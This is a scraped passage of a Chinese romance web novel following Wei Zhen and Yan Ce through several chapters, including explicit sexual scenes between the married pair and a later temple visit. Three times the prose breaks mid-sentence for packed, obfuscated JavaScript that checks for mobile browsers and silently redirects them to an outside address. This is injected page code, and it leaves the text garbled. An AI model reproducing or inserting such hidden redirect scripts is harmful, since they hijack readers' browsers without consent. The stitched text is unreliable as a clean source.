;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906433|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引走了,我立即就过去了。 “所以,那天的事,并非侥幸。不管发生什么,我都会出现。” 卫臻瞳仁颤了颤,“你......你为何这样做。” 燕策在心底叹了口气,她又这样问。 知道卫臻此时对他还没有那种心思,且她今日情绪也不好,燕策不欲在这个时候攀扯出更多旁的事让她多虑, 于是道:“你不在京中长大,出门也没有侍卫随护,敏敏怕你不熟悉京里的情况遇到什么麻烦,她托我这样做的。” 卫臻有些诧异,心里想着改日见了燕敏要好好谢谢她才是。 愁绪来时候汹涌难遏,退时却徐如抽丝,跟燕策聊完之后,卫臻没有再哭,但会独自望着角落愣神,时间长了,眼里空落落的。 一连几日都如此,燕策和兰怀几人只得变着法哄她开心。 期间程大夫来复诊,也叮嘱她:“郁结伤肝,望宽怀静养。”卫臻乖乖应下。 除去医嘱,让她做旁的,她也会配合,并不难为人。 卫臻的脚已经可以自己走动了,身边人时不时提醒她适当地走一走,会恢复得更好,她也会起来去院里慢慢走一会子, 只是走完很快就回去靠在塌上,恢复了之前的样子。 很乖,但总是软|趴趴的。 这日绣娘送来新做的衣裳,都是些小|衣和衬裙,缝制得很精致漂亮,料子也好,触|感丝|滑|松|软。 以往卫臻每次试穿新衣裳的时候都很高兴,兰怀把这些衣裳捧|着搁在里间,哄她去换上试试。 卫臻换小|衣裳时一直不用人侍候,这次也是如此,她屏退了下人,自己在里间对着穿衣镜一件件试穿。 吱呀—— 里间的门开了,紧接着是珠帘被拂动。 当是兰怀进来了,许是不放心她的脚。 卫臻手臂伸到后面,去系腰后的系带,小声嘟哝着:“我自己穿就行了。” 身后几瞬都没有动静,卫臻回头, 不是兰怀。 燕策下午带人出去一趟,回来时外间没有侍女在,里间的门还关着,他心下犯疑,推开门进来。 窗边帘子拉着,影影绰绰。 衣架上搭着换下来的软|红罗衾,被放得随意,一角垂落在地,荡悠悠。 卫臻身上只穿了条抹|胸|衬裙,纤长白腻的手臂全|露|在外,两条细细的带子挂在她莹|润的肩上,承|托|住所有。 旁边高案上摆着个粉彩抱月瓶,瓶中倚着枝素白的广玉兰。 她就这么回过头,捧着,在横斜花枝下看他。 花枝在衬裙上投出深浅不一的影, 薄而软的衬裙布料之余,再无其它,唯花影重重。 意识到这点,燕策脑内轰的一下,紧|绷着要挣|脱,他头一回在她面前一句话没说,就转身往外走。 珠帘在他身后被风撞|得零乱作|响。 方才两个人离得并不远。 他视线捕捉到花影。 她也发觉他的妄|念。 卫臻看着燕策的背影,意识到他在慌,在躲,在遮。 这在燕策身上,是很少见的,往日里他总是疏懒又随性的样子。 这份异常莫名在她心底投|下一枚小石子。 卫臻想起,她误会他心里有人的那日,晚间二人闲话时,她要的,就是他这样的反|应。 于是她出声,留住他。 19. 第 19 章 听见她柔声唤他名字,燕策脚下步伐停住了,但没回头。 身后,卫臻又继续对他撂下很轻的一句: “过来抱我。” 但其实她的脚已经不需要他抱着去别处了。 至少,现在不需要。 燕策哑声道:“等下好不好,一会回来抱你。” 她心情不太好,他不该在这时候对她有妄念,更不该袒|露|在她眼前。 心头生出沉|甸|甸的罪恶感,燕策无声叹了口气。 “不要,就现在。” 卫臻这些日子情绪一直很淡,这几乎是最近她唯一一次主|动对他提要求。 二人无声对峙着,他耳根先染|上层薄|红,喉结上下滚|动几次,妥协了。 燕策走近后,卫臻仰着头看他,言简意赅:“你有坏心思。” “错了。”他像她要求的那样,手搭上她腰,准备把她抱起来。 卫臻摁住他手臂,“给我看。” 他定定看了她一眼,“等下回你高兴的时候。” 卫臻不跟他打商量,只再次重复了刚才的话,语气显出几分执拗:“不要,就现在。” 燕策垂下头,视线锁定她的眸,剔透澄澈,像浸过水一样。 黝黑的瞳仁中,有执拗,有较劲,但是没有对他的好奇——他尚不敢在她眼里探求|爱意。 燕策不确定这是因为她最近心情不好,还是因为对他没有兴趣。 想探个分明,又怕答案与他所期待的相悖,忽地升起一阵烦闷,握在她腰|侧的指节不自觉收|紧。 踌躇间,他伸手把她抱到桌案上,单手扯|开腰间革带上的搭扣,搁在她坐着的桌上。 搭扣上的玉石磕在桌面上,“当啷”一声,卫臻眼睫跟着颤|了颤。 他撑着桌沿,欺|身|靠近,卫臻整个人就被他圈在怀里,身|后只有一堵墙,这使得她不再像方才提要求时那样有底气,心生几分局促,双膝也紧|并着,却很快被燕策用|腿|分|开。 他前襟散|着,衣领下的铃铛掉出来,悬在二人中间打|晃。 外边起了风,布料和窗边枝叶一同窸窣着响了阵,妄念打在衬裙上,柔|软的布料像花|瓣一样搭在他腿上,裙摆带起的风掠过桌案旁花瓶里的广玉兰,花枝颤|了颤。 阴天,屋内光线昏昏,远处所有器物都不甚明晰,桌边浅粉色的抱月瓶静静散着温和的光。 他人生得高挑,肤色白,指节处沾了水透出层浅粉,同被她用过一次的器物颜色一致。 声音和气息就足以侵|占卫臻的全部注意力,她视线飘忽着移向远处的窗,以此减缓几分心悸。 窗外开始落雨,水声渐起,手背被溅|湿了,湿|意把卫臻的视线拉回来,面颊染上层薄粉,她把手背往他袖子上擦。 燕策唇瓣无意间擦过卫臻额头,她好像没躲开,这得益于他把她逼到了无处可躲的墙边。 于是他得寸进尺地试探,顺着往下亲她细腻柔软的脸颊。 他们亲|密的顺序从初次时就被打|乱了,这是燕策头一回亲她脸颊,寻不到什么章|法,只能循着本|能,莽撞|着作|乱,卫臻哼唧着把脸贴在他肩上,半躲半迎的。 雨水被风裹|挟进屋内,有侍女在外间关窗,挪动窗台上的摆件器具,防止再次潲上水。 里间的虽然门关着,但是屋内太安静了,除了水声就没有旁的,外边人的走动声传入里间,让卫臻有种现于人|前的紧张,手本能地搭在能碰到的器具上。 珠帘被风拨动着,发出清凌响声,燕策呼吸骤然紧促,卫臻回过神想撤开手,却被他不容拒绝地扣住,雨势变大,拍打在屋顶的琉璃瓦片上,屋内水声渐|密。 手被他捏了太久,卫臻哼唧着想逃脱,燕策亲着她脸,声音含混:“翘翘,善始善终。” 窗外雨脚如麻,卫臻继续把盏,视线落在瓶口处的横斜花枝上,她不喜欢下雨天,雨势太大,雨点子没完没了地往下落,空气里都潮乎乎的,连带着衣裳也沾了湿|意,黏|腻地贴在腿上。 请雨容易送雨难,几次躲雨未果,卫臻力道和语气自然也并不温柔,生掰硬拽,顺带说了几句骂他的小话。 燕策不防,被她催得倒抽冷气,低头咬上她颈侧。 他戴着的铃铛一下一下地在响,卫臻听着烦人,伸直手指探过去,覆住铃铛|口,响声停了。 先前稀里糊涂与他有过一次,且那次还是他伺|候她,除此外,卫臻再没有试过,现下的一切对她来说都该是陌生的。 也确实陌生, 但她好像天生就知道该如何驯他。 雨疏风骤,抱月瓶里的玉兰花在屋内被吹得簌簌作响, 指腹像瓶中玉兰一般绵软,已被他磋磨得已经使不出几分力,轻得似窗外的雨雾。 偏生这雨雾织成天罗地网,扯着燕策坠下来。 雨声稠|密地爬上窗棂,屋内浮动着玉兰花闷钝的香,燕策憋|出层汗,喘|着粗气,躬身凑上去轻轻亲她的脸, 只敢亲她的脸。 亲几下,就停下来看她。 他脸颊上沾着层水汽,眼尾泛红,面部锐利深邃的线条也被昏暗光线拢|得柔和,浑身没有半点攻击性, 望向她的时候十分驯顺,带着讨好的意味。 见她不抵触这样,燕策又凑上去继续亲她鼻尖,亲得很轻,小心翼翼的,唇|齿之间全是温柔。 麻|酥|酥的痒从卫臻背|脊散向全身,她轻哼了一声,对他网开一面时,手被弹了下,同时燕策忽地吻上她唇,卫臻很明显感觉到他周身气息变了,变得汹涌,急|切。 二人头一回亲对方的唇,他并不懂如何亲吻,只是本能地啃咬吮吻,卫臻低哼着抗议,脑袋一直往后躲。 燕策半躬着腰,放低了身量,仰头含住柔|软的唇,追着她亲。 他蛮劲儿太|大,卫臻肩胛撞上后面的墙壁,闷声哼唧了两下,燕策一手搁在她肩后垫着,把人往自己怀里摁。 墙上的画被碰下来,落在二人头顶,遮天蔽地,他也没管,就那么继续亲她,半刻也不错开。 卫臻本就被燕策困在墙边,现下视线全被落下来的画挡住,更觉逼|仄,全部注意力都被他侵|占。 鼻息相|缠,唇瓣被|咬|得有些刺|疼,他摁着她又|舔又|啃,齿尖咬住她唇上软|肉厮|磨,坐着的桌案被|撞|歪,后背一下|下磕|在墙上,虽然有他的手垫着,可那震|颤仍真切被她感受到。 用身前的左手扯他头发也不管用,燕策这个时候好像完全感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915058|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到疼,卫臻秀气的眉紧蹙,强撑着|抽|出一丝清明在心底骂他:狗东西,方才做出那副可怜样,全是装的。 等他喘|着粗气松开对她的钳|制,卫臻手掌脱力垂下去,燕策扯开覆在二人上方的画,清明复返,她的衬裙染上层霜,卫臻眼睫颤了好几次才适应眼前的光线。 他下颌窝在她颈侧,像只大型犬,黏|黏|糊糊亲她颈窝,已不似方才那般凶狠急|切,似讨好,也似在延|缓快意。雨停了,空气中浮动着一层土腥|气,珠帘垂在门口,偶尔随着潮|湿的风晃动。 外边,吠星湿|漉漉地从院中跑回来,在廊下留下一串沾着泥的小脚印,走到房门口就被祝余拦下了,它还是只幼犬,随便一个人都可以把它捏扁搓圆,吠星只得蹲在原处,汪汪叫着等人给它擦脚。 祝余拿着棉帕,给它擦干净爪子,“你又淋雨啦,甩甩身上的水。” 吠星的毛很蓬很厚实,这场雨没把它完全打|湿,乖乖甩了几下之后,就只有表层沾着点水。 到午膳的点了,小厨房来人问要不要传膳,祝余望着紧闭的房门犯了难,门已经关上好久了,也没别的动静。 “许是睡着了吧?先别急着传膳,等半个时辰若里边还没有吩咐,我再去敲门问问。” 吠星见大家都在看着门口,就跑过去挠门板。 卫臻被门口传来的动静惊了一下,往他怀里缩。 燕策搂着她,低声哄:“别怕,是狗,我关着门。” 卫臻肩头系带已经在方才滑下来,细细地,搭在莹|白上臂。 她不敢看自己被他亲成什么样子了,只把脸深深埋在他怀里,干净的左手在身前拢|着布料。 卫臻扯了一下他的头发,燕策就低下头听她说话。 “你亲我了。”她现下也说不上生气,可就是觉得不不对劲。 卫臻看话本子时,也跟着上面的文字想过亲|吻这种事—— 该是花好月圆,两个人抱在一起有商有量,待她应允后,再轻轻地贴一贴彼此的唇。 不该是这般,乱糟糟地被他摁在那里亲,嘴唇也被咬|肿|了,衬裙没法再穿第二回。 燕策用鼻音应了声。 卫臻继续控诉,声音从他怀里传出来,闷闷的:“你没问我。”真是得寸进尺,她只说要看,他就敢捎带着这些有的没的。 “我错了。”他认错认得很利落,手掌在她背后轻轻揉着。 没了系带的支|撑,卫臻只顾得上紧攥着身前,后面的布料早已垂至腰|窝,他掌下是她光|洁的背,线|条纤细流畅,被乌蓬长发一衬,在室内白得晃眼。 卫臻鼻尖红红的,软|趴趴靠在燕策身前,没再说话,虚虚愣了会子神。 稍微缓过来后,她右手微微一动感觉到掌心不舒坦,抬手蹭到他衣服上,顺带拧了他一下,“你这个人真讨厌。” 这之前她已经好几日没骂他了,燕策感觉心要被这句话泡软了。 原来被人骂也可以这么爽。 低下头就是卫臻乌蓬蓬的发顶,莹白的肩。她好像无处不可爱,连肩头那颗颜色很浅的小痣都让他觉得顺眼。 她的痣,大抵是为了指引他,把吻落在这里。 卫臻缩了缩肩,软|声推|拒,“不|要了......” 20. 第 20 章 她的痣,大抵是为了指引他,把吻落在这里。 卫臻缩了缩肩,软|声推|拒,“不要了......” 燕策应了,但人没动弹,卫臻只得伸手去推他的脸。 用的是干净的那只手,另一只手委实不太行。 她只顾着阻止他亲自己的肩,忘记抓住身前的布料,丝质衬裙顺着堆在腰间。 卫臻第一时间拢住双臂,但手臂太细了,收效甚微。 她再次往他怀里躲,紧|贴|着,借他的身躯遮挡。 燕策被|扑了个满怀,怀里的触|感比丝绸还要柔。 “你闭上眼。”卫臻瓮声道。 她不想让他看,但是又意外地不抵触他的拥抱,这点燕策几天前就发觉到了,他顺从阖上眼。 但阖上眼感|受更明显。 一阵窸窸窣窣的动静,有布料拂过燕策手背。 “咚”一声,卫臻腕骨磕上桌面,忙不迭道:“我没事,别睁眼。” 怕她摔着,燕策手臂一直拢在她身侧,听见她磕到的动静,手掌动了下想扶住她,无意间碰上绵|柔|软|腻的位处,不知是哪里,被她惊呼着打了一下。 又是一阵布料窸窣声,过了会子,她小声喊他:“好了。” 得了她的允许,燕策睁开眼,软软的布料堆在他手边,她换掉了身上的衬裙,身上虚虚拢着一件外袍,遮得严严实实,甜|软俱裹|藏在衣袍下。 但, 她穿的是,他的衣裳。 方才衬裙下什么都没有,那现在—— 燕策不敢继续想了。 她好会。 卫臻身上出了汗,手也不怎么干净,她不想弄脏自己的其它衣裳,燕策的外袍就搭在一旁,便被她就近扯过来披着。 见这人一直看自己,卫臻凶巴巴道:“不能穿你衣裳吗?” “可以。” 当然可以。 每一次之后都可以穿他的。 “那不准看我了。” 他依言转移视线,但又把人轻轻拢到怀里,用手臂代替视线,附|着在她周身,“要喝水吗?” 卫臻点点头,又道:“先洗手......” 被他抱着去了净房,二人挨着站在铜盆前。 他的衣裳对她来说太|大了,袖子也长许多,卫臻伸手在燕策眼前晃了几下。 他会意,帮她把袖口往上挽起来,然后再一次顺杆爬——就这么牵着她的手,搁进铜盆里。 两双手一同打|湿,燕策去摸了几下净手的皂块,搓出满手泡|沫,又捉过她的手,放在掌心轻|揉|着,指腹慢慢抚过她腕骨上的红|印子。 二人的身量差距在此刻刚刚好,燕策微微低一下头,下颌就抵|在她头顶,卫臻被他严|丝合|缝拢在怀里,手也被他包|裹|在掌心。 他给她净手的动作很轻,太轻了,莫名显出几分狎|昵。 卫臻被搓得有些痒,往外挣脱,“我......我会洗手。” 手上裹|满泡沫|滑|溜溜的,她很轻易就挣开了。 “好厉害,”燕策笑了下,“那你给我洗。” 卫臻没理会他这话,把他手“啪”一下摁到铜盆了,他手背骨节明晰,磕在铜盆里声音很重,听上去有点疼。 但卫臻此刻没什么心疼他的想法,因为她手也不舒坦,方才被它磋|磨得过分红了,掌心和指腹摁上去酸酸的。 这只是她的手,就弄成这样, 若换成旁的她不敢想。 上回之后她并不难受,所以才敢主动对他那样讲。没想到今日他完全不像上回那样温柔,卫臻后悔对他提要求了。 她抱怨:“上次你不是这样的。” “这次不一样。” 上次她晕晕乎乎的,一切都非她本意,他不愿在那种情形下怎么样,只想着帮她把药劲儿熬过去。 这次,她清醒着,还是她主动提的,不一样。 “有什么不一样......”还不都是这档|子事儿。 卫臻顺手扯过一旁擦手的棉帕,绣着小花的那条。 燕策动|作自然地靠过来跟她用同一条帕子擦。 她嗔道:“你自己有,干嘛用我的。” 说完扯过架子上另一条,没有绣花的,他的帕子。 卫臻用|力搓了几下,又丢给他,这样才公平。 洗完手燕策倒了一盏茶,卫臻就着他的手喝了,喝的时候心里其实有点怪怪的:她已经不是孩童了,怎么能这样喝水。 脑子里又跳出个两个小人, 一个讲:可是回门那日你也喂他喝过水。 另一个依旧:对呀对呀。 ...... 对什么对。 等卫臻再次把小人赶跑,整杯茶都已经被她喝光了。 他笑着夸:“喝了好多。”又倒了一盏,卫臻摇摇头,燕策便自己喝了。 卫臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920027|175971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他喝水时上下滑动的喉结,等他搁下杯子,她道:“我想沐|浴,你去让兰怀进来。” “我们可以一起——” 燕策话未说完就被卫臻打了一下。 她给他安排好了:“你去东耳房洗,旁的想都不要想。” “我记得我们成婚第二日你就是在那边洗漱的。” 燕策:“......” 几日前随口一句话,以一种他意想不到的方式化成了箭簇,并朝他|射|了回来。 他往外走的时候,卫臻又拽住他袖子:“你把这个带过去,稍微过一下水,弄掉上面的印子......然后丢掉。” 衬裙留在这会被侍女看见, 只被兰怀看见也便罢了,可若被祝余或者旁的侍女看见,那就太多人知道自己的私事了。虽然她们并不会乱讲,但卫臻心里怪怪的。 若是让她的裙子上留着那些印子,就这么直接丢掉,更怪怪的。 燕策垂眸,手心被塞了一团布料,是她的衬裙, 软|滑细腻,带着她手心的温度,还有馥|郁的香气。 等卫臻沐|浴完,兰怀照例给她梳头,刚要像前几日一样把后面的头发挽起来,卫臻抽|出一根丁香色的发带递给她:“不要盘起来,用发带绑一下就行,扎松点。” 他给她脖子上留了太多印子,领口不能完全遮盖住,头发松松垂着,好歹能稍微遮一点点。 是时,珠帘被撩开,祝余身后跟着两个小丫鬟,手上都捧着东西,她道:“夫人,七郎君差人送来几匹料子。” 卫臻一时间记不起七郎君是谁,“还说旁的了吗?” 祝余讲没有。 被祝余提醒了是四房的,卫臻才想起来,七郎名唤燕枢,四太太所出,比燕策小一岁。 前几日四老爷钓鱼回来时摔了腿,事|后燕策去瞧过,让人送了些补药,这些料子多半是为了酬谢这个,如此也就不需要此刻再还礼了。 “收进库里吧,等下次节庆时再给四房送礼就好。” 祝余应了,又问要不要传午膳。 卫臻揉了揉肚子,今日被他耽搁了太久,确实有些饿了,“传吧。” 估摸着燕策也该收拾完了。不知道他在扭捏什么,沐浴比她用的时间还要久,她都快梳完头了,他还没回来。 燕策没在扭捏。 他听她的话,去了东耳房。 但,那条本该被濯洗干净的衬裙,更脏了。 23-30 第23章 卫臻能明显感觉到自己整张脸红透了,热|烘烘的气息顺着脖子往上|涌。 “你你别这样叫。”她手胡乱|摸过去,捂他的嘴,被|舔|了一下手心,又忙不迭收回来。 燕策再次低下头,细碎的吻顺着她颈侧水红色的系带游|移,很轻易就找到了颈后打的结。 齿尖咬住尾端,轻轻一扯。 卫臻当然感觉到了,她慌得不知道该怎么去拦住他,急中生智,摩挲着去捏燕策的麻筋。 燕策被她胡乱捏着,趴在她颈窝闷声笑了下:“找错了。” 他捉住她手挪动几寸,放在手肘正确的位置上。 “怎么一慌就捏不准。” “是你教得不好。”卫臻嘟哝着抱怨。 “是我不好,再教翘翘一遍。” 他嘴上这么讲,却压根不是要正儿八经教。 她上臂和大腿一样,软|肉很多,骨节明晰的手指就搁在她绵|软和上臂中间的位置,有一下没一下地揉着。 好在他没再盯着她领口作乱,卫臻便由着他在那揉,随着他揉|捏手臂的节奏数了数日子,而后在他的手马上就要明晃晃挨上去时,一把将他手扯下来,问道:“你后日是不是就去上值了。” “嗯。” 她记得他要上值的日子,这微妙地让燕策感到愉悦。 “明日你有事要忙吗?” “忙着陪翘翘。”燕策用指节拨动几下她的耳垂。 卫臻再次拍掉他的手,“明日我想去玄妙观。” 外边还有个段怀山没解决,卫臻知道自己最近不该出去乱逛,可她想去给阿娘的海灯添灯油,已经快半年没去过了,现在她成婚了该去一趟,若他陪着一起,她在外也心安些。 “好。”燕策应下,又摸摸她散在枕边的头发,柔软顺滑,绸缎一样。 两个人一边说话,一边在手上较着劲儿。 被她拍开手,燕策就乐此不疲地换个位置继续摸。 卫臻发现自从中午再次开了那个口子,燕策私下里一靠近她,手就自动黏在她身上了。 她的头发、手、腰旁的他暂时还不敢,但总感觉是迟早的事。 不知道该不该纵容他这样继续发展下去。 还是说他同她一样有喜欢摸|人的怪症? 可他好像比她还严重,她只有心底难受没安全感时才会那样。 卫臻蓦地生出几分同病相怜之感,她把自己的毯子塞给他,“你抱着睡吧。” “不要这个。” 他把毯子搁到旁边。 卫臻秀气的眉毛轻蹙了下,“只想摸|人?”真是不好伺候。 燕策觉得她这问题有些别扭,但还是应了。 “那你|摸吧。”卫臻心一横,偏过头去,绵|软的脸颊因为侧脸的动作被枕头挤|得微微变|形。 摸摸手和肚子这些,她可以忍一忍的。 燕策把她两只手腕一齐拢|住压|在头顶,卫臻也没有反应。 好像,对他完全不设防。 于是下一瞬,他垂下头,隔着衣裳咬了她一口,墙上的影子跟着一晃。 卫臻气得不行,“谁让你咬了,我只说让你摸。” “意思是可以摸吗?”他垂下漆黑的眸,目的很明显。 卫臻被问住了。 与他对视几瞬,她可耻地发现自己好像并不抵触。 这人真烦,咬都咬了,又装模作样来问她。 让她怎么回答。 灯花爆了爆,燕策读懂了她的沉默,在卫臻闭上眼时拢|住了。 床榻外面的烛光明晃晃的,阖上眼睛也能感觉到过于亮眼的光,往日里他会在她睡着后熄灭蜡烛——卫臻猜的,她并不知晓她睡着后他做过什么。 卫臻今日想让他现在就把蜡烛熄掉,又觉得一旦提出来,像是她主动要同他有什么,怪怪的。 正在她犹豫要不要让他熄掉灯烛时,燕策率先开口:“里面的拿掉好不好,不做别的了。” 一个时辰前,他服药的时候,当然想过别的,全都想了。 但是她说明日要去玄妙观,燕策在最后|关头强|撑着最后一丝理智发了回善心。 卫臻视线跟着他的铃铛来回飘,耳根子一软,应允了。 水红色的柔软布料被他扯出来,在燕策想低头吻下去的时候,卫臻扯住他头发,他的吻回到她唇上。 卫臻被他亲得迷迷糊糊时还在想,扯他头发本意是想拦着他别乱亲,好像被他误会成她想亲|嘴了 再睁开眼,外头天已大亮,他的手还停在原处。 卫臻在燕策怀里翻了个身,望着帐子缝|隙处泄|进来的日光愣了会子神,伸长了手臂,在枕畔摩挲着找她的小衣。 摸了几下没找到,卫臻左右看了看,确实没有,连燕策那边都没有。 明明记得睡前小衣被他解下来就搁在枕边,睡醒竟然找不到了。 卫臻觉得奇怪,也没多想,直接支起上身越过燕策,去摇了摇床头唤人进来的铃。 燕策伸手揽住她后腰,轻轻一摁,她人就倒在他身上,他咬了一口。 这是他第二次在她没睡着的情况下咬她。 “嘶——”卫臻刚想骂他,就听见脚步声由远及近,她只得先隔着帐子吩咐侍女去给她拿衣裳过来。 待侍女走远,卫臻低头打他一下,“谁让你乱咬的。” “我一睁眼就在这了。” “烦人。”卫臻懒得说他,要不是他在她后腰那一摁,她也不会倒他身上。 把燕策赶出去后,卫臻自己在帐子里换衣裳。 好像被他咬坏了。 可他总共只咬了她两次,会咬成这样吗。 也不是咬坏了,卫臻判断不出怎么样才算坏,但很明显与先前有不同。 卫臻的平日里不是完全在外面,现下有点异常,她自己能很清晰地察觉到。她小时候一直以为所有人的都是这样,长大后家中有亲眷生了娃娃,若娃娃是像她这样的,都要被掐两下。卫臻知道了就觉得疼,幸好小时候阿娘没给她掐,也是那之后她才晓得,原来大部分人都是完全长出来的。 头一回遇到这种情况,卫臻在帐子里观察了好一会,直到兰怀来催她梳头,才磨|磨蹭|蹭起身。 梳头照镜子时才发现脖子也被他添了几个红印子,虽然不很明显,她今日戴着头纱,隔着纱只要不站在她身旁,就看不见这些印子。 薄软的轻纱被头顶的金色莲花冠固定住,莲花冠尺寸做得很精致,日常佩戴并不夸张,很衬她的容色,跟今日穿的妆花云锦百褶裙也搭。 上装是坦领的,卫臻又在外面加了个燕策前几日送她的珍珠云肩。 云肩由数百颗细腻润泽的珍珠制成,披在肩头,衬得领口外那截脖颈莹白如新雪。 二人从园子里往外走的时候,遇到了燕枢,燕枢对卫臻与燕策拱手见过礼,并未多聊。 走出去一段路,燕策突然回头看了一眼,他这个七弟素来本分,有时候四老爷和四太太闯了祸,还是燕枢给收拾的烂摊子。 燕策知道自己回头看这一眼挺没道理的。 但燕枢也莫名其妙停在原处一直看他们。 行至垂花门外,卫臻看见个面容与周回长得一模一样的人在那等燕策。 她愣了一下,看了眼周回,确定他正骑马侯在马车旁,那这人只能是周回的双生弟弟周流。 卫臻知道周回的弟弟被燕策派出去抓给她下药的人了,前几日一直在回京路上。 意识到眼前是与自己相关的事情,她有些紧张。 周流并不乱看,远远对卫臻行过礼,就低下头侯在路边。燕策捏捏卫臻的手,先把她扶上马车:“等我一会儿。” 等燕策过去后,周流低语几句,燕策点了点头,摆手让他退下了。 燕策上马车的时候卫臻正在给手背上涂香膏,早上出门走得急,她忘记擦手了,好在现在车厢里备着她日常能用到的各式物件儿。 心里在想事情,冷不丁有人进来,卫臻失手挖了一大块香膏,擦在帕子上丢掉有点可惜,她左右看了看,抓过燕策的手,往他手背上匀了一多半,他手掌生得大,能帮她用掉很多。 卫臻把余下的香膏在自己手上抹匀,见燕策只胡乱在手背和掌心搓,又把他的手捉过来,给他重点揉指腹,“你这里要多涂一涂。” 燕策由着她弄,在她揉他的指腹时,他也在摸她的手,正摸着,突然听见卫臻问他: “我近期是不是最好不要再出门了。” “没有因噎废食的道理,你的脚已经差不多好全了,想出门随时都可以。” 燕策知道她应当是方才看见周流,想起先前的事情了,他把她手整个拢在掌心,继续道:“我白日里不在家,把周回留在府里,你若是想出门,让他多带几个护卫跟着你。” 卫臻点点头,也不知道听进去多少,手指仍在无意识揉着他的指腹。 五方山下有几口大缸,一群小猫趴在大缸沿上喝水,几只鸟雀在日头下闪着白羽,也不怎么怕人。 马车停下时,一只毛色长得火烧火燎的小猫竖着尾巴过来蹭卫臻的裙角。 刚要摸它,它就很突兀地喵喵叫着转身离开了,卫臻在原地跺了跺脚,“跟人真是不一样,人见了面都要聊几句,它这么快就跑了。” 一路过来时,远远瞧着不觉得这五方山有多巍峨,如今站在山脚下,抬头又觉得这山也显出几分高|耸,高到把天都要挤到一边去。 他们来得早,日头尚且不热,片片青苔匍匐在台阶上,怕卫臻摔着,兰怀搀着她走得很慢。 那只长得火烧火燎的小猫又跟了上来,尾巴竖得很高,走几步就回头看看卫臻一行人。 卫臻追不上猫,走了一小会就觉得累了,站在树荫下,撑着树干直喘气。 燕策在她跟前半蹲下身子:“上来我背着你。” 卫臻起初不愿意,因为除了他们一行人,还会有来来往往的香客看见,一直到燕策说她的脚最好不要爬太多台阶,卫臻才犹豫着趴在他背上。 从她的角度,能看见他领口下后脖颈处的的棘突,卫臻伸出手指摸了几下,燕策被她摸|得痒,把人背着往上颠了两下,卫臻忙不迭揽紧他脖颈:“敢摔了我你就死定了。” 阳光从头顶的树上落下来,斑斑点点的碎金,洒落在燕策平直的肩,他没回头,语调慢悠悠的:“我不敢。” 背着个人,燕策步子依旧迈得很稳很快,身后侍女跟得不容易,好在玄妙观的位置并不算高,爬了不到一炷香的功夫就到了。 一行人先去三清殿上过香,燕策又陪着卫臻去给阿娘的海灯添了灯油。 若思念之人葬在他处,生者便可为其供奉这么一盏海灯,这样就算隔着山南海北,念想也会通过海灯传给对方。 这边供奉的海灯平日里都有专人护理,但卫臻还是用细软棉布把灯盏外壁仔仔细细擦了一遍,动作很轻,灯盏中心的火苗全程静静燃烧着,温柔又明亮,灯盏外壁摸上去也是温热的,并不烫手。 等到卫臻擦完,火苗跳跃两下,燃得旺了起来。 从灯殿内出来,卫臻站在门口,朝西南方向远远眺望了一会儿。 燕策没打扰卫臻,站在一边静静陪着,她身上香气被日光焙得甜暖,风吹过,她的头纱几乎和烟雾融在一处。 玄妙观后山连着一片林子,卫臻想去转转,散散心,燕策陪她去了,没让侍女跟着。 山路狭窄崎岖,卫臻被燕策牵着走得很慢。 途经一棵枯死的树,枝干嶙峋,树皮剥落如鳞,横斜在低矮墙垣边,看树身颜色应当是意外被火烧死的。 树干的裂缝里钻出几点绿,是怯生生的嫩芽,其中有两支嫩芽长得快,已经抽|出枝条,细韧舒展。 浅碧的新枝,映着枯黑的树干,对比分外鲜明,引人驻足。 有个道长路过,身穿洗得发白的道袍,他看了眼,感叹道:“枯荣相生。”说完便捻须慢悠悠离去。 卫臻心底却有些不以为然,她看那枯死的树,树干并不算很粗,生前也还是株刚长起来的小树,本该长得和周遭的树木一样高大,经历更多的朔雪惊雷,甘雨和风。 却意外遭灾,被火烧死,现下它的身体也被别的生灵占|去,让人心有戚戚。 卫臻指尖拨动几下小路两旁的草丛,“益州也有个道观,虽然很小却也十分灵验,只有几个道士,经常忙不过来。观中有棵很大的柳树,是从墙里长出来的。” “能在夹缝中求生,也非寻常之物,实属不易。” 燕策知道那棵柳树。 他当然知道,第一次见她时,他就是在那个树下看她抽签。 后山地势高一些,二人站在高处,往回走的时候能看见观中来来往往的人群。 倏然间,卫臻在人群中看见一张熟悉的脸。 从这个角度望过去,那张脸竟和阿娘有八九分像。 卫臻不确定是不是自己离得远看不真切,急于探求个答案,她脚下步子变得又急又乱,走了几步差点绊倒,被燕策拎住手臂,“看路,急什么。” “你看那边大殿门口,穿黄|色大袖衫的那位夫人你可认得?”卫臻给他指了指。 燕策看她一眼,道:“那是梁王妃。” 